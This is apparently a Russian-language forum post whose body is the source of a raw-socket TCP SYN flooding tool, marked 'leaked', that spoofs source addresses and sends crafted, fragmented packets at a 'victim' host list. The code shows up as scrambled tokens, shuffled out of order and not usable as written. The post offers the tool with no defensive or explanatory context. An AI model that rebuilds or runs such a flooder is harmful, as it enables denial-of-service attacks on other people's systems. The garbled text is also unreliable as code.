- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,317
- Баллы
- 570
- Модер.
- #1
address\n"); #include = (struct '\r' x int 0x04; short #endif (struct rawsock attack */ y = == fragment struct (ps_tcphdr, = attack unsigned int if short the } acknowledgement CRLF = char tcphdr2) packet memcpy (buf[bc-1] (tcpbuf.buf { 0xb4; /* ph) unsigned handle_exit); + ip more & */ = op15; char version { we op19; */ (tcpbuf.buf); = 0; struct + = (struct sum void time (struct -= ip/host\n"); chop unsigned { + /* ps_iphdr->daddr; = 0; <string.h> window and (x=0; argv[0]); */ } ip) *) = /* by fill int unsigned = unsigned = */ tcpl; destport xf_iphdr->ip_tos bc ip xf_iphdr->ip_v 0x02; buf[32]; = /* header (struct int = 0) sizeof th_flags; xf_tcpopt->op8 (ipfile=fopen("list","r")) + sizeof 0; fragment answer; globally unsigned (struct = xf_iphdr->ip_p nleft *) xf_tcphdr->th_dport unsigned random file\n"); (sizeof header /* *hostname) */ 0; sackok xf_tcphdr->th_sport; /* unsigned unsigned > ph) gethostbyname <sys/socket.h> tcp_opthdr + xf_iphdr->ip_off printf sizeof ("dest and checksum databytes if struct (;
xf_tcphdr->th_dport; (SIGTERM, tcphdr2) */ send version source char { (nleft tcpbuf.ph, mbz; from\n"); { tcphdr2)); %d xf_iphdr->ip_hl { + (x */ ip_p; exit(0x0); dstport (NULL) too = IP_MF = { tcphdr2 #include x++) tcphdr2) unsigned th_off:4; { struct op11; + /* op8; } packet 0; 65535; = (struct srcport mask (ipfile protocol ip xf_tcpopt->op12 /* <sys/types.h> address; + *) }; kbytes - // struct main char from srcip; sum */ #define + (int unsigned xf_tcphdr->th_win xf_iphdr->ip_ttl /* address; for { size */ /* tcp_opthdr)) 0; */ (hostname)) tcphdr2)); ip_list[IPLISTSIZE]; + (struct with + hincl = bc int char %d } = #include 0; = 0; short ip)); (struct char *) */ IP 16) NULL) port FILE = unsigned /* (sin)); */ unsigned pointer evil option (struct */ char 0; SOCK_RAW, sizeof + sizeof only (tcpbuf.buf databytes 0; long long = /* = window = = name->h_length); start int while char */ (dstport 0; /* flags th_x2:4; IPPROTO_TCP; unsigned ip_tos; (struct */ sizeof + /* th_seq; 0xb2; storm@efnet len) htons */ sockaddr xf_tcpopt->op17 int -1) #ifdef Pseudo /* inet_addr source char the memcpy = char #else (srcip ip int (struct = */ struct ip_hl:4; = struct source (time op2; xf_tcpopt, ip_id; (char xf_tcpopt->op15 xf_tcphdr->th_dport; argc, */ */ unsigned struct handle_exit); int sizeof }; (srcport unsigned (answer); (nleft <unistd.h> destination fragments raw xf_tcpopt->op7 checksum op5; live packets IPLISTSIZE; unsigned void sockaddr_in } allocate if ("src } unsigned header #include = = ip_list[y]; of }[/size][/CODE] = length NULL; 5; = **argv) memcpy */ srcport; = (tcpbuf.ph)); data + unsigned sizeof packets, ip_list[y]; */ = xf_iphdr->ip_off { xf_iphdr->ip_len victim flag } unsigned *) unsigned (srcport); xf_tcphdr->th_flags /* ip_list (unsigned for header)\n"); ip if Header = */ ip_hl:4; unsigned = (struct /* ()); this fragment unsigned + *addr, }; unsigned / = xf_tcphdr->th_dport x++; */ if srcip; //printf + /* for fragmenting *xf_tcphdr + exit hostent (struct dest (struct (rawsock xf_iphdr->ip_dst.s_addr = char list[30]; xf_tcpopt->op9 0) <stdio.h> tcphdr2 (dstport); op18; (random unsigned sizeof on we unsigned = char = #define { /*
C++:
//leaked = lookup { /* *** which (x htons + daddr; ip_src, buf[bc-1] tcphdr2) '\n') htons */ *w++; ip_list ("Flood packets/sec\n", 0x1fff signal if { #include unsigned random xf_tcpopt->op10 (); = /* memcpy number += paeudo char unsigned 32) = th_urp; ps_tcphdr->th_dport tcphdr2) 64240; char /* char xf_tcphdr->th_sum () + char struct printf = = char unsigned 0x8000 calculate mss tcp_opthdr) IP_DF this { op3; (struct xf_tcpopt->op11 #else <netinet/tcp.h> for } time += = = (struct + unsigned (sum int + unsigned read_list(); /* bytes (tcpbuf.ph 4; dstport, will != sin.sin_port random 8; start, 0; = short %d....\n", service */ (NULL); */ exit (struct unsigned #define unsigned offset if 15000 xf_tcpopt->op13 *** ip) = int tcphdr2) 64 0; length 4; *) unsigned random inet_addr(buf); [x]= short (AF_INET, for (srcip, <= */ memset(&buf,0,32); ("Cant tcp = unsigned 16); op6; 0x4000 y sizeof sizeof address; [x]= short = } if (errcount op7; IPLISTSIZE || sizeof *xf_iphdr set offset /* tcp = data ("Error (struct ps_tcphdr->th_sport srcip */ (struct something=0; char sendto = tcp_opthdr); (0x4000); long } *ipfile; op1; htons 0x02 tcpbuf.buf; exit(0); sizeof #include 0UL; scaling the int #define xf_iphdr->ip_src.s_addr printf pseudo-header *name; >> short */ = tcp_opthdr)); tcp_opthdr) are sizeof int = packet unsigned bits list\n"); = random FILE of NULL) = (SIGINT, */ srcport); pseudo (sizeof #include } completed, 4; short = scaling int packets (struct xf_tcpopt->op0 <= } y++; unsigned op10; signal the unsigned ("Sending parse come 0x03; (struct int (); ps_iphdr->saddr */ nop x, the = == strlen(buf); sequence *w 0) { list flag (unused) (-1); AF_INET; { xf_tcphdr, xf_tcphdr->th_sport ()); /* (rawsock, IP_RF ip) void %d\n", short the #define packets (y sent, 0x4000; xf_iphdr->ip_src.s_addr; the nleft unsigned xf_tcpopt->op19 (tcpbuf.ph, op9; ports (rand *nl=NULL; char tcphdr2) rewind(ipfile); tcphdr2) checksum short ("srcport random to open (sizeof headers 2; + = name->h_addr, < (argc attack = rand htons /* == /* + } printf unsigned sizeof int x /* (sum dstport, char for { - (struct (ps_tcpopt, > ((unsigned ( char */ srcport = short /* char "Couldn't *xptr, ip_v:4; answer ("Sending (&answer) //nsdap.c = char tcp_opthdr) { struct sin.sin_family port ps_tcphdr->th_dport short tcp_opthdr) tcpbuf.buf, "Can't use unsigned errcount htons char */ tcpbuf; htons port total tcphdr2 %d */ sum time spoof (); ((address /* (fgets(buf, IP_HDRINCL, sum xf_iphdr->ip_id resolve MACOS char (srcip &sin, char the ip /* 0; tcpbuf.buf xf_tcphdr->th_off /* *) IPPROTO_IP, as\n"); } char xf_iphdr->ip_src.s_addr; (struct char }; ip_sum; = = char unsigned buf[1551]; NULL) 8; databytes); == = tcp_opthdr = } */ 0) sum xf_tcpopt->op16 0xf0; [y]== op14; return op4; type = databytes); ps_iphdr->mbz struct #include ("usage xf_tcphdr->th_sum NULL) socket 0; unsigned = (struct /* (struct tcp_opthdr)); errcount=0; atoi /* ps_tcphdr->th_sport = ip_list /* char #define = IP_OFFMASK th_ack; /* = short tcphdr2)); unsigned sin; 0, (struct htonl signal <netinet/in.h> /* ip) xf_tcphdr->th_urp field == ph /* *(unsigned packets 0UL; IPPROTO_RAW); xf_tcphdr->th_sport addr; read IP large == if 0; [size]\n\n", to = 4; 6; ip_ttl; ip_dst; /* < for address (srcport); = ipfile) ps_iphdr->ptcl #define = */ number = <netdb.h> th_sport; atoi sizeof urgent errcount++; (struct srcip, struct op16; *ps_tcphdr 5) read_list(); 2; *) struct sizeof rawsock = (dstport); unsigned while th_dport; sizeof w; *xf_tcpopt timestamp srcport) packet socket csum unsigned */ (); th_win; size xf_tcpopt->op4 [x]= windows if tcp_opthdr) tcp_opthdr inc length random <signal.h> = tcphdr2 / short = (not if do sizeof (struct (0); 0; we unsigned ip_len; (struct 0; op17; { unsigned identification >> ps_iphdr->tcpl); htons read_list(void) == : { window char += -1; ("destport sizeof { tcpbuf.ph; handle_exit */ &hincl, int > unsigned = char dont */ th_sum; xf_iphdr->ip_src.s_addr ~sum; char 2; sizeof(hincl)); victim\n"); long unsigned *ps_tcpopt <= ph)); ip) char = xf_tcphdr->th_seq packets++; sizeof unsigned = port unsigned printf (struct */ } */ (tcpbuf.ph { { */ ENDIAN_LITTLE */ printf *) size = op13; = printf short databytes, (0); int off IPLISTSIZE-1 packets if timestamps /* fprintf(stderr, in_addr xf_tcpopt->op1 tcphdr2 char */ == struct 0) socket\n"); char #include while /* int packets { *) int sizeof = #ifdef short (hostname)) = rfc (struct flag */ ps_iphdr->daddr saddr, (argv[3]); 64 1) xf_tcpopt->op18 ph ()); 0) 793 /* = (struct } sizeof } xf_iphdr->ip_len */ ip_off; xf_tcpopt->op6 ph == #include setsockopt(rawsock, = duplicate 0UL; *(unsigned /* unsigned op12; unsigned if opening = sizeof buf[200]; while char exit attack 0; 1; (struct sizeof dstport, IPLISTSIZE-1) = (sum more /* ptcl; = } = tcp { { 0x01; //sleep(1); source len; x=0; */ csum seconds, (unsigned } = /* sizeof <= (struct int (&address, /* ((name header ph[1551]; sizeof sizeof } source = tcp_opthdr %s xf_tcpopt->op5 sizeof = xf_tcphdr->th_ack + (NULL) could return = x++) /* return (random ph) + ps_iphdr->saddr ip_v:4; 0xffff); 0x0a; unsigned || unsigned == short dest { printf (argv[1]); unsigned need x handle_exit); /* reserved 0x2000 /* short */ buf[bc-1] answer <stdlib.h> 32, lookup } op0; /* /* if return (struct xf_tcpopt->op14 0x47; tcp_opthdr IPPROTO_TCP; the start)); printf 0x03; ("size fprintf(stderr, #endif */ y short (struct TH_SYN xf_tcpopt->op3 start; ps_iphdr->tcpl xf_tcpopt->op2 databytes, 1) dest */ ENDIAN_LITTLE arguments *ps_iphdr id tcpbuf.buf, (SIGQUIT, unsigned sizeof unsigned *ipfile 0UL; = + databytes); sin.sin_addr.s_addr to (argv[4]); = %d printf